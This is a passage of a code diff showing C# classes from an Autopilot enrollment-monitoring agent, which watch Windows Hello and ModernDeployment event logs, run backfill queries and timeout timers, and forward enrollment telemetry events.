severity = EventSeverity.Info;
|
||||
message = "Windows Hello PIN status update";
|
||||
break;
|
||||
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
// Keep payload minimal — full descriptions may contain sensitive data
|
||||
// (server responses with key IDs, UPNs, tokens).
|
||||
var data = new Dictionary<string, object>
|
||||
{
|
||||
{ "windowsEventId", eventId },
|
||||
{ "providerName", providerName ?? "" },
|
||||
{ "description", "truncated" },
|
||||
{ "eventTime", timestamp.ToString("o") }
|
||||
};
|
||||
|
||||
if (isBackfill)
|
||||
{
|
||||
data["backfill"] = true;
|
||||
}
|
||||
|
||||
_onEventCollected(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
Timestamp = timestamp,
|
||||
EventType = eventType,
|
||||
Severity = severity,
|
||||
Source = "EspAndHelloTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = message,
|
||||
Data = data,
|
||||
ImmediateUpload = shouldTriggerHelloCompleted || eventType == "hello_provisioning_failed"
|
||||
});
|
||||
|
||||
_logger.Info($"Hello event detected: {eventType} (EventID {eventId}{(isBackfill ? ", backfill" : "")})");
|
||||
|
||||
if (shouldTriggerHelloCompleted)
|
||||
{
|
||||
try { HelloCompleted?.Invoke(this, EventArgs.Empty); } catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private bool MarkHelloCompleted()
|
||||
{
|
||||
lock (_stateLock)
|
||||
{
|
||||
if (_isHelloCompleted)
|
||||
{
|
||||
_logger.Debug("Hello terminal event received but Hello is already marked completed");
|
||||
return false;
|
||||
}
|
||||
|
||||
_isHelloCompleted = true;
|
||||
HelloOutcome = "completed";
|
||||
StopHelloCompletionTimerLocked();
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
private void BackfillRecentTerminalHelloEvents()
|
||||
{
|
||||
try
|
||||
{
|
||||
var lookbackMs = BackfillLookbackMinutes * 60 * 1000;
|
||||
var query = new EventLogQuery(
|
||||
UdrEventLogChannel,
|
||||
PathType.LogName,
|
||||
$"*[System[(EventID=300 or EventID=301 or EventID=362) and TimeCreated[timediff(@SystemTime) <= {lookbackMs}]]]");
|
||||
|
||||
using (var reader = new EventLogReader(query))
|
||||
{
|
||||
DateTime latestTimestamp = DateTime.MinValue;
|
||||
int? latestEventId = null;
|
||||
string latestProvider = string.Empty;
|
||||
|
||||
for (EventRecord record = reader.ReadEvent(); record != null; record = reader.ReadEvent())
|
||||
{
|
||||
using (record)
|
||||
{
|
||||
var eventId = record.Id;
|
||||
if (eventId != EventId_NgcKeyRegistered && eventId != EventId_NgcKeyRegistrationFailed && eventId != EventId_ProvisioningBlocked)
|
||||
continue;
|
||||
|
||||
var timestamp = record.TimeCreated ?? DateTime.MinValue;
|
||||
if (timestamp < latestTimestamp) continue;
|
||||
|
||||
latestTimestamp = timestamp;
|
||||
latestEventId = eventId;
|
||||
latestProvider = record.ProviderName ?? "";
|
||||
}
|
||||
}
|
||||
|
||||
if (latestEventId.HasValue)
|
||||
{
|
||||
_logger.Info($"Backfill found recent Hello terminal event: EventID {latestEventId.Value} at {latestTimestamp:O}");
|
||||
ProcessHelloEvent(
|
||||
latestEventId.Value,
|
||||
(latestTimestamp == DateTime.MinValue ? DateTime.UtcNow : latestTimestamp).ToUniversalTime(),
|
||||
latestProvider,
|
||||
isBackfill: true);
|
||||
}
|
||||
else
|
||||
{
|
||||
_logger.Debug($"Backfill found no terminal Hello events in last {BackfillLookbackMinutes} minutes");
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"Hello terminal event backfill failed: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// HelloForBusiness/Operational watcher (events 3024/6045)
|
||||
// =====================================================================
|
||||
|
||||
private void StartHelloForBusinessEventLogWatcher()
|
||||
{
|
||||
try
|
||||
{
|
||||
var query = new EventLogQuery(
|
||||
HelloForBusinessEventLogChannel,
|
||||
PathType.LogName,
|
||||
"*[System[(EventID=3024 or EventID=6045)]]");
|
||||
|
||||
_helloForBusinessWatcher = new EventLogWatcher(query);
|
||||
_helloForBusinessWatcher.EventRecordWritten += OnHelloForBusinessEventRecordWritten;
|
||||
_helloForBusinessWatcher.Enabled = true;
|
||||
|
||||
_logger.Info($"Started watching: {HelloForBusinessEventLogChannel}");
|
||||
}
|
||||
catch (EventLogNotFoundException)
|
||||
{
|
||||
_logger.Warning($"Event log not found: {HelloForBusinessEventLogChannel} (normal if not on a real device)");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("Failed to start HelloForBusiness event log watcher", ex);
|
||||
}
|
||||
}
|
||||
|
||||
private void OnHelloForBusinessEventRecordWritten(object sender, EventRecordWrittenEventArgs e)
|
||||
{
|
||||
if (e.EventRecord == null) return;
|
||||
|
||||
try
|
||||
{
|
||||
var record = e.EventRecord;
|
||||
var eventId = record.Id;
|
||||
if (!TrackedHelloForBusinessEventIds.Contains(eventId)) return;
|
||||
|
||||
var description = record.FormatDescription() ?? $"Event ID {eventId}";
|
||||
var timestamp = (record.TimeCreated ?? DateTime.UtcNow).ToUniversalTime();
|
||||
|
||||
ProcessHelloForBusinessEvent(eventId, timestamp, description, record.ProviderName ?? "", isBackfill: false);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("Error processing HelloForBusiness event record", ex);
|
||||
}
|
||||
}
|
||||
|
||||
internal void ProcessHelloForBusinessEvent(int eventId, DateTime timestamp, string description, string providerName, bool isBackfill)
|
||||
{
|
||||
string eventType;
|
||||
EventSeverity severity;
|
||||
string message;
|
||||
bool shouldTriggerHelloCompleted = false;
|
||||
string hresult = null;
|
||||
|
||||
switch (eventId)
|
||||
{
|
||||
case EventId_HelloForBusiness_ProcessingStarted: // 3024
|
||||
eventType = "hello_processing_started";
|
||||
severity = EventSeverity.Info;
|
||||
message = "Windows Hello for Business processing started";
|
||||
_logger.Info("Hello for Business processing started (event 3024)");
|
||||
break;
|
||||
|
||||
case EventId_HelloForBusiness_ProcessingStopped: // 6045
|
||||
hresult = ExtractHResultFromDescription(description);
|
||||
|
||||
if (string.Equals(hresult, HResult_UserSkippedHello, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
eventType = "hello_skipped";
|
||||
severity = EventSeverity.Warning;
|
||||
message = $"Windows Hello for Business skipped by user ({HResult_UserSkippedHello})";
|
||||
shouldTriggerHelloCompleted = MarkHelloSkipped();
|
||||
_logger.Info($"Hello for Business SKIPPED by user (event 6045, HRESULT {hresult})");
|
||||
}
|
||||
else
|
||||
{
|
||||
eventType = "hello_processing_stopped";
|
||||
severity = EventSeverity.Info;
|
||||
message = $"Windows Hello for Business processing stopped (HRESULT: {hresult ?? "unknown"})";
|
||||
_logger.Info($"Hello for Business processing stopped (event 6045, HRESULT {hresult ?? "unknown"}) - not treated as terminal");
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
var data = new Dictionary<string, object>
|
||||
{
|
||||
{ "windowsEventId", eventId },
|
||||
{ "providerName", providerName ?? "" },
|
||||
{ "description", description },
|
||||
{ "eventLogChannel", HelloForBusinessEventLogChannel },
|
||||
{ "eventTime", timestamp.ToString("o") }
|
||||
};
|
||||
|
||||
if (hresult != null) data["hresult"] = hresult;
|
||||
if (isBackfill) data["backfill"] = true;
|
||||
|
||||
_onEventCollected(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
Timestamp = timestamp,
|
||||
EventType = eventType,
|
||||
Severity = severity,
|
||||
Source = "EspAndHelloTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = message,
|
||||
Data = data,
|
||||
ImmediateUpload = shouldTriggerHelloCompleted
|
||||
});
|
||||
|
||||
_logger.Info($"HelloForBusiness event detected: {eventType} (EventID {eventId}{(isBackfill ? ", backfill" : "")})");
|
||||
|
||||
if (shouldTriggerHelloCompleted)
|
||||
{
|
||||
try { HelloCompleted?.Invoke(this, EventArgs.Empty); } catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private bool MarkHelloSkipped()
|
||||
{
|
||||
lock (_stateLock)
|
||||
{
|
||||
if (_isHelloCompleted)
|
||||
{
|
||||
_logger.Debug("Hello skip event received but Hello is already marked completed");
|
||||
return false;
|
||||
}
|
||||
|
||||
_isHelloCompleted = true;
|
||||
HelloOutcome = "skipped";
|
||||
StopHelloCompletionTimerLocked();
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
internal static string ExtractHResultFromDescription(string description)
|
||||
{
|
||||
if (string.IsNullOrEmpty(description)) return null;
|
||||
var match = HResultPattern.Match(description);
|
||||
return match.Success ? match.Value : null;
|
||||
}
|
||||
|
||||
private void BackfillRecentHelloForBusinessEvents()
|
||||
{
|
||||
try
|
||||
{
|
||||
var lookbackMs = BackfillLookbackMinutes * 60 * 1000;
|
||||
var query = new EventLogQuery(
|
||||
HelloForBusinessEventLogChannel,
|
||||
PathType.LogName,
|
||||
$"*[System[(EventID=6045) and TimeCreated[timediff(@SystemTime) <= {lookbackMs}]]]");
|
||||
|
||||
using (var reader = new EventLogReader(query))
|
||||
{
|
||||
DateTime latestTimestamp = DateTime.MinValue;
|
||||
string latestDescription = null;
|
||||
string latestProvider = string.Empty;
|
||||
|
||||
for (EventRecord record = reader.ReadEvent(); record != null; record = reader.ReadEvent())
|
||||
{
|
||||
using (record)
|
||||
{
|
||||
var timestamp = record.TimeCreated ?? DateTime.MinValue;
|
||||
if (timestamp < latestTimestamp) continue;
|
||||
|
||||
latestTimestamp = timestamp;
|
||||
latestDescription = record.FormatDescription() ?? $"Event ID {record.Id}";
|
||||
latestProvider = record.ProviderName ?? "";
|
||||
}
|
||||
}
|
||||
|
||||
if (latestDescription != null)
|
||||
{
|
||||
var hresult = ExtractHResultFromDescription(latestDescription);
|
||||
if (string.Equals(hresult, HResult_UserSkippedHello, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
_logger.Info($"Backfill found recent Hello skip event: HRESULT {hresult} at {latestTimestamp:O}");
|
||||
ProcessHelloForBusinessEvent(
|
||||
EventId_HelloForBusiness_ProcessingStopped,
|
||||
(latestTimestamp == DateTime.MinValue ? DateTime.UtcNow : latestTimestamp).ToUniversalTime(),
|
||||
latestDescription,
|
||||
latestProvider,
|
||||
isBackfill: true);
|
||||
}
|
||||
else
|
||||
{
|
||||
_logger.Debug($"Backfill found HelloForBusiness event 6045 but HRESULT {hresult ?? "unknown"} is not a known terminal code - skipping");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
_logger.Debug($"Backfill found no HelloForBusiness 6045 events in last {BackfillLookbackMinutes} minutes");
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Warning($"HelloForBusiness event backfill failed: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Timers: wait → completion
|
||||
// =====================================================================
|
||||
|
||||
private void OnHelloWaitTimeout(object state)
|
||||
{
|
||||
lock (_stateLock)
|
||||
{
|
||||
if (_helloWizardStarted)
|
||||
{
|
||||
_logger.Debug("Hello wait timeout fired but wizard already started - ignoring");
|
||||
return;
|
||||
}
|
||||
|
||||
if (_isHelloCompleted)
|
||||
{
|
||||
_logger.Debug("Hello wait timeout fired but Hello already completed - ignoring");
|
||||
return;
|
||||
}
|
||||
|
||||
// Timeout expired without Hello wizard starting.
|
||||
// If Hello policy is known to be ENABLED, the wizard simply hasn't appeared yet
|
||||
// (e.g. Windows is still setting up prerequisites). Do NOT declare enrollment
|
||||
// complete — start the long HelloCompletion timer and keep waiting.
|
||||
if (_isHelloPolicyEnabled)
|
||||
{
|
||||
_logger.Info($"Hello wait timeout ({_helloWaitTimeoutSeconds}s) expired but Hello policy is enabled — " +
|
||||
$"wizard not yet visible, starting long completion timer ({HelloCompletionTimeoutSeconds}s)");
|
||||
|
||||
_onEventCollected(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "hello_wait_timeout",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "EspAndHelloTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"Hello wizard did not start within {_helloWaitTimeoutSeconds}s after ESP exit — " +
|
||||
$"Hello policy is enabled, waiting up to {HelloCompletionTimeoutSeconds}s for wizard",
|
||||
Data = new Dictionary<string, object>
|
||||
{
|
||||
{ "timeoutSeconds", _helloWaitTimeoutSeconds },
|
||||
{ "espExitDetected", _espExitSeen },
|
||||
{ "helloPolicyEnabled", true },
|
||||
{ "action", "extended_wait" }
|
||||
},
|
||||
ImmediateUpload = true
|
||||
});
|
||||
|
||||
StartHelloCompletionTimerLocked();
|
||||
return;
|
||||
}
|
||||
|
||||
_logger.Info($"Hello wait timeout ({_helloWaitTimeoutSeconds}s) expired without Hello wizard starting");
|
||||
_logger.Info("Hello policy not detected as enabled — assuming Hello is not configured or was skipped");
|
||||
|
||||
_isHelloCompleted = true;
|
||||
HelloOutcome = "not_configured";
|
||||
StopHelloCompletionTimerLocked();
|
||||
|
||||
_onEventCollected(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "hello_wait_timeout",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "EspAndHelloTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"Hello wizard did not start within {_helloWaitTimeoutSeconds}s after ESP exit - assuming not configured",
|
||||
Data = new Dictionary<string, object>
|
||||
{
|
||||
{ "timeoutSeconds", _helloWaitTimeoutSeconds },
|
||||
{ "espExitDetected", _espExitSeen },
|
||||
{ "helloPolicyEnabled", false },
|
||||
{ "action", "enrollment_complete" }
|
||||
},
|
||||
ImmediateUpload = true
|
||||
});
|
||||
|
||||
try { HelloCompleted?.Invoke(this, EventArgs.Empty); }
|
||||
catch (Exception ex) { _logger.Error("Error invoking HelloCompleted from timeout", ex); }
|
||||
}
|
||||
}
|
||||
|
||||
private void StartHelloCompletionTimerLocked()
|
||||
{
|
||||
if (_isHelloCompleted) return;
|
||||
if (_helloCompletionTimer != null) return;
|
||||
|
||||
_logger.Info($"Starting Hello completion timer ({HelloCompletionTimeoutSeconds}s) - waiting for terminal Hello event (300/301/362)");
|
||||
_helloCompletionTimer = new System.Threading.Timer(
|
||||
OnHelloCompletionTimeout,
|
||||
null,
|
||||
TimeSpan.FromSeconds(HelloCompletionTimeoutSeconds),
|
||||
TimeSpan.FromMilliseconds(-1));
|
||||
}
|
||||
|
||||
private void StopHelloCompletionTimerLocked()
|
||||
{
|
||||
if (_helloCompletionTimer == null) return;
|
||||
try { _helloCompletionTimer.Dispose(); } catch { }
|
||||
finally { _helloCompletionTimer = null; }
|
||||
}
|
||||
|
||||
private void OnHelloCompletionTimeout(object state)
|
||||
{
|
||||
lock (_stateLock)
|
||||
{
|
||||
if (_isHelloCompleted)
|
||||
{
|
||||
_logger.Debug("Hello completion timeout fired but Hello already completed - ignoring");
|
||||
return;
|
||||
}
|
||||
|
||||
_logger.Warning($"Hello completion timeout ({HelloCompletionTimeoutSeconds}s) expired after wizard start without terminal event");
|
||||
_isHelloCompleted = true;
|
||||
HelloOutcome = _helloWizardStarted ? "timeout" : "wizard_not_started";
|
||||
StopHelloCompletionTimerLocked();
|
||||
|
||||
_onEventCollected(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "hello_completion_timeout",
|
||||
Severity = EventSeverity.Warning,
|
||||
Source = "EspAndHelloTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"Hello wizard started but no terminal event (300/301/362) arrived within {HelloCompletionTimeoutSeconds}s",
|
||||
Data = new Dictionary<string, object>
|
||||
{
|
||||
{ "timeoutSeconds", HelloCompletionTimeoutSeconds },
|
||||
{ "helloWizardStarted", _helloWizardStarted }
|
||||
},
|
||||
ImmediateUpload = true
|
||||
});
|
||||
|
||||
try { HelloCompleted?.Invoke(this, EventArgs.Empty); }
|
||||
catch (Exception ex) { _logger.Error("Error invoking HelloCompleted from completion timeout", ex); }
|
||||
}
|
||||
}
|
||||
|
||||
// =====================================================================
|
||||
// Test seams — allow tests to drive timer logic deterministically
|
||||
// =====================================================================
|
||||
|
||||
/// <summary>Test-only: simulate policy detection without a real registry read.</summary>
|
||||
internal void SetPolicyForTest(bool helloEnabled, string source)
|
||||
{
|
||||
lock (_stateLock)
|
||||
{
|
||||
_isPolicyConfigured = true;
|
||||
_isHelloPolicyEnabled = helloEnabled;
|
||||
|
||||
_onEventCollected(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = "hello_policy_detected",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "EspAndHelloTracker",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"Windows Hello for Business policy detected: {(helloEnabled ? "enabled" : "disabled")} (via {source})",
|
||||
Data = new Dictionary<string, object>
|
||||
{
|
||||
{ "helloEnabled", helloEnabled },
|
||||
{ "policySource", source }
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
internal void TriggerWaitTimeoutForTest() => OnHelloWaitTimeout(null);
|
||||
internal void TriggerCompletionTimeoutForTest() => OnHelloCompletionTimeout(null);
|
||||
|
||||
internal bool IsWaitTimerActiveForTest { get { lock (_stateLock) { return _helloWaitTimer != null; } } }
|
||||
internal bool IsCompletionTimerActiveForTest { get { lock (_stateLock) { return _helloCompletionTimer != null; } } }
|
||||
internal bool IsHelloWizardStartedForTest { get { lock (_stateLock) { return _helloWizardStarted; } } }
|
||||
}
|
||||
}
|
||||
-481
@@ -1,481 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics.Eventing.Reader;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Newtonsoft.Json;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals
|
||||
{
|
||||
/// <summary>
|
||||
/// Watches Microsoft-Windows-ModernDeployment-Diagnostics-Provider channels
|
||||
/// (Autopilot + ManagementService) for Autopilot / ESP events and forwards them
|
||||
/// to the event sink as modern_deployment_log/warning/error events.
|
||||
///
|
||||
/// Additionally detects WhiteGlove (Pre-Provisioning) initiation via
|
||||
/// ManagementService Event 509 with cross-restart dedup via disk persistence.
|
||||
/// </summary>
|
||||
internal sealed class ModernDeploymentTracker : IDisposable
|
||||
{
|
||||
internal const string AutopilotChannel = "Microsoft-Windows-ModernDeployment-Diagnostics-Provider/Autopilot";
|
||||
internal const string ManagementChannel = "Microsoft-Windows-ModernDeployment-Diagnostics-Provider/ManagementService";
|
||||
|
||||
/// <summary>
|
||||
/// ManagementService Event ID 509: fires when a technician actually initiates
|
||||
/// pre-provisioning (Win 5x → Provision). Level 4 (Informational) — bypasses
|
||||
/// the default Level≤3 filter via a targeted OR clause in the XPath.
|
||||
/// </summary>
|
||||
internal const int EventId_WhiteGloveStart = 509;
|
||||
|
||||
internal static readonly HashSet<int> TargetedManagementServiceEventIds = new HashSet<int>
|
||||
{
|
||||
EventId_WhiteGloveStart
|
||||
};
|
||||
|
||||
internal const string WhiteGloveBackfillStateFileName = "whiteglove-backfill.json";
|
||||
|
||||
private readonly AgentLogger _logger;
|
||||
private readonly string _sessionId;
|
||||
private readonly string _tenantId;
|
||||
private readonly Action<EnrollmentEvent> _onEventCollected;
|
||||
private readonly int _logLevelMax;
|
||||
private readonly bool _backfillEnabled;
|
||||
private readonly int _backfillLookbackMinutes;
|
||||
private readonly string _stateDirectory;
|
||||
private readonly HashSet<int> _harmlessEventIds;
|
||||
|
||||
private EventLogWatcher _autopilotWatcher;
|
||||
private EventLogWatcher _managementWatcher;
|
||||
private bool _whiteGloveStartDetected;
|
||||
private readonly object _stateLock = new object();
|
||||
|
||||
public ModernDeploymentTracker(
|
||||
string sessionId,
|
||||
string tenantId,
|
||||
Action<EnrollmentEvent> onEventCollected,
|
||||
AgentLogger logger,
|
||||
int logLevelMax = 3,
|
||||
bool backfillEnabled = true,
|
||||
int backfillLookbackMinutes = 30,
|
||||
string stateDirectory = null,
|
||||
int[] harmlessEventIds = null)
|
||||
{
|
||||
_sessionId = sessionId ?? throw new ArgumentNullException(nameof(sessionId));
|
||||
_tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId));
|
||||
_onEventCollected = onEventCollected ?? throw new ArgumentNullException(nameof(onEventCollected));
|
||||
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
|
||||
_logLevelMax = logLevelMax;
|
||||
_backfillEnabled = backfillEnabled;
|
||||
_backfillLookbackMinutes = backfillLookbackMinutes;
|
||||
_stateDirectory = stateDirectory != null ? Environment.ExpandEnvironmentVariables(stateDirectory) : null;
|
||||
_harmlessEventIds = harmlessEventIds != null && harmlessEventIds.Length > 0
|
||||
? new HashSet<int>(harmlessEventIds)
|
||||
: new HashSet<int> { 100, 1005, 1010 };
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// True once WhiteGlove start has been detected (either live Event 509 or persisted from prior run).
|
||||
/// Exposed primarily for diagnostics/tests.
|
||||
/// </summary>
|
||||
internal bool IsWhiteGloveStartDetected
|
||||
{
|
||||
get { lock (_stateLock) { return _whiteGloveStartDetected; } }
|
||||
}
|
||||
|
||||
public void Start()
|
||||
{
|
||||
StartWatchers();
|
||||
|
||||
if (_backfillEnabled)
|
||||
{
|
||||
BackfillTargetedEvents();
|
||||
}
|
||||
else
|
||||
{
|
||||
_logger.Info("ModernDeployment backfill disabled by config");
|
||||
}
|
||||
}
|
||||
|
||||
public void Stop()
|
||||
{
|
||||
StopWatcher(ref _autopilotWatcher, "Autopilot");
|
||||
StopWatcher(ref _managementWatcher, "ManagementService");
|
||||
}
|
||||
|
||||
public void Dispose() => Stop();
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Watcher lifecycle
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private void StartWatchers()
|
||||
{
|
||||
_autopilotWatcher = TryStartWatcher(AutopilotChannel, "Autopilot", null);
|
||||
_managementWatcher = TryStartWatcher(ManagementChannel, "ManagementService", TargetedManagementServiceEventIds);
|
||||
}
|
||||
|
||||
private EventLogWatcher TryStartWatcher(string channelName, string shortName, HashSet<int> targetedEventIds)
|
||||
{
|
||||
try
|
||||
{
|
||||
var xpath = BuildXPath(_logLevelMax, targetedEventIds);
|
||||
var query = new EventLogQuery(channelName, PathType.LogName, xpath);
|
||||
var watcher = new EventLogWatcher(query);
|
||||
watcher.EventRecordWritten += (sender, args) => OnEventRecordWritten(args, shortName, channelName);
|
||||
watcher.Enabled = true;
|
||||
_logger.Info($"ModernDeployment watcher started: {channelName} (levelMax={Math.Max(1, Math.Min(5, _logLevelMax))}, targetedIds={targetedEventIds?.Count ?? 0})");
|
||||
return watcher;
|
||||
}
|
||||
catch (EventLogNotFoundException)
|
||||
{
|
||||
_logger.Warning($"ModernDeployment event log not found: {channelName} (normal on non-Windows 10/11 test environments)");
|
||||
return null;
|
||||
}
|
||||
catch (UnauthorizedAccessException ex)
|
||||
{
|
||||
_logger.Warning($"ModernDeployment watcher access denied for {channelName}: {ex.Message}");
|
||||
return null;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error($"Failed to start ModernDeployment watcher for {channelName}", ex);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Builds the XPath filter for the watcher. Exposed as internal for tests.
|
||||
/// </summary>
|
||||
internal static string BuildXPath(int logLevelMax, HashSet<int> targetedEventIds)
|
||||
{
|
||||
var levelMax = Math.Max(1, Math.Min(5, logLevelMax));
|
||||
var levelFilter = $"Level=0 or (Level >= 1 and Level <= {levelMax})";
|
||||
if (targetedEventIds != null && targetedEventIds.Count > 0)
|
||||
{
|
||||
var idClauses = string.Join(" or ", targetedEventIds.Select(id => $"EventID={id}"));
|
||||
levelFilter += $" or ({idClauses})";
|
||||
}
|
||||
return $"*[System[{levelFilter}]]";
|
||||
}
|
||||
|
||||
private void StopWatcher(ref EventLogWatcher watcher, string shortName)
|
||||
{
|
||||
if (watcher == null) return;
|
||||
try
|
||||
{
|
||||
watcher.Enabled = false;
|
||||
watcher.Dispose();
|
||||
_logger.Info($"ModernDeployment watcher stopped: {shortName}");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error($"Error stopping ModernDeployment watcher ({shortName})", ex);
|
||||
}
|
||||
finally
|
||||
{
|
||||
watcher = null;
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Event processing
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
private void OnEventRecordWritten(EventRecordWrittenEventArgs e, string shortName, string channelName)
|
||||
{
|
||||
if (e.EventRecord == null) return;
|
||||
try
|
||||
{
|
||||
ProcessRecord(e.EventRecord, shortName, channelName, isBackfill: false);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error($"Error processing ModernDeployment event from {shortName}", ex);
|
||||
}
|
||||
}
|
||||
|
||||
private void ProcessRecord(EventRecord record, string shortName, string channelName, bool isBackfill)
|
||||
{
|
||||
string description = null;
|
||||
try { description = record.FormatDescription(); }
|
||||
catch { /* some events lack formatting resources */ }
|
||||
|
||||
ProcessEvent(
|
||||
eventId: record.Id,
|
||||
level: record.Level,
|
||||
levelDisplayName: record.LevelDisplayName,
|
||||
providerName: record.ProviderName,
|
||||
timeCreatedUtc: record.TimeCreated?.ToUniversalTime(),
|
||||
formattedDescription: description,
|
||||
shortName: shortName,
|
||||
channelName: channelName,
|
||||
isBackfill: isBackfill);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Core event-processing logic, extracted to primitive inputs so tests can drive it
|
||||
/// without needing to synthesize an EventRecord (which is abstract + Windows-only).
|
||||
/// </summary>
|
||||
internal void ProcessEvent(
|
||||
int eventId,
|
||||
int? level,
|
||||
string levelDisplayName,
|
||||
string providerName,
|
||||
DateTime? timeCreatedUtc,
|
||||
string formattedDescription,
|
||||
string shortName,
|
||||
string channelName,
|
||||
bool isBackfill)
|
||||
{
|
||||
if (eventId == EventId_WhiteGloveStart && shortName == "ManagementService")
|
||||
{
|
||||
HandleWhiteGloveStart(eventId, level, timeCreatedUtc, formattedDescription, isBackfill);
|
||||
return;
|
||||
}
|
||||
|
||||
var effectiveLevel = level ?? 4;
|
||||
string eventType;
|
||||
EventSeverity severity;
|
||||
switch (effectiveLevel)
|
||||
{
|
||||
case 1:
|
||||
case 2:
|
||||
eventType = Constants.EventTypes.ModernDeploymentError;
|
||||
severity = EventSeverity.Error;
|
||||
break;
|
||||
case 3:
|
||||
eventType = Constants.EventTypes.ModernDeploymentWarning;
|
||||
severity = EventSeverity.Warning;
|
||||
break;
|
||||
default:
|
||||
eventType = Constants.EventTypes.ModernDeploymentLog;
|
||||
severity = EventSeverity.Info;
|
||||
break;
|
||||
}
|
||||
|
||||
// Downgrade configurable harmless EventIDs to Debug.
|
||||
// Level 1 (Critical) is NEVER downgraded — too risky to silence. Only Level 2
|
||||
// (Error) and Level 3 (Warning) are considered. The list is delivered by the
|
||||
// backend via CollectorConfiguration.ModernDeploymentHarmlessEventIds and
|
||||
// pre-seeded with known-harmless IDs (e.g. 100 "Autopilot policy not found",
|
||||
// 1005, 1010 "Autopilot.dll WIL hardwareinfo.cpp HRESULT 0x80070002" — no real
|
||||
// enrollment impact). Events stay visible in the timeline (Debug severity) for
|
||||
// troubleshooting.
|
||||
if ((effectiveLevel == 2 || effectiveLevel == 3) && _harmlessEventIds.Contains(eventId))
|
||||
{
|
||||
eventType = Constants.EventTypes.ModernDeploymentLog;
|
||||
severity = EventSeverity.Debug;
|
||||
}
|
||||
|
||||
var description = string.IsNullOrEmpty(formattedDescription)
|
||||
? $"Event ID {eventId} (no formatted description)"
|
||||
: formattedDescription;
|
||||
|
||||
var truncated = description.Length > 1000 ? description.Substring(0, 1000) + "…" : description;
|
||||
|
||||
var data = new Dictionary<string, object>
|
||||
{
|
||||
{ "channel", shortName },
|
||||
{ "channelFullName", channelName },
|
||||
{ "eventId", eventId },
|
||||
{ "level", effectiveLevel },
|
||||
{ "levelName", levelDisplayName ?? string.Empty },
|
||||
{ "providerName", providerName ?? string.Empty },
|
||||
{ "timeCreated", timeCreatedUtc?.ToString("o") ?? string.Empty },
|
||||
{ "backfilled", isBackfill }
|
||||
};
|
||||
|
||||
_onEventCollected(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _sessionId,
|
||||
TenantId = _tenantId,
|
||||
EventType = eventType,
|
||||
Severity = severity,
|
||||
Source = "ModernDeploymentWatcher",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = $"[{shortName}] EventID {eventId}: {truncated}",
|
||||
Data = data
|
||||
});
|
||||
}
|
||||
|
||||
private void HandleWhiteGloveStart(int eventId, int? level, DateTime? timeCreatedUtc, string formattedDescription, bool isBackfill)
|
||||
{
|
||||
var description = string.IsNullOrEmpty(formattedDescription)
|
||||
? $"Event ID {eventId} (no formatted description)"
|
||||
: formattedDescription;
|
||||
|
||||
if (description.IndexOf("WhiteGlove", StringComparison.OrdinalIgnoreCase) < 0)
|
||||
{
|
||||
_logger.Trace($"ManagementService Event 509 without WhiteGlove keyword — ignoring: {description}");
|
||||
return;
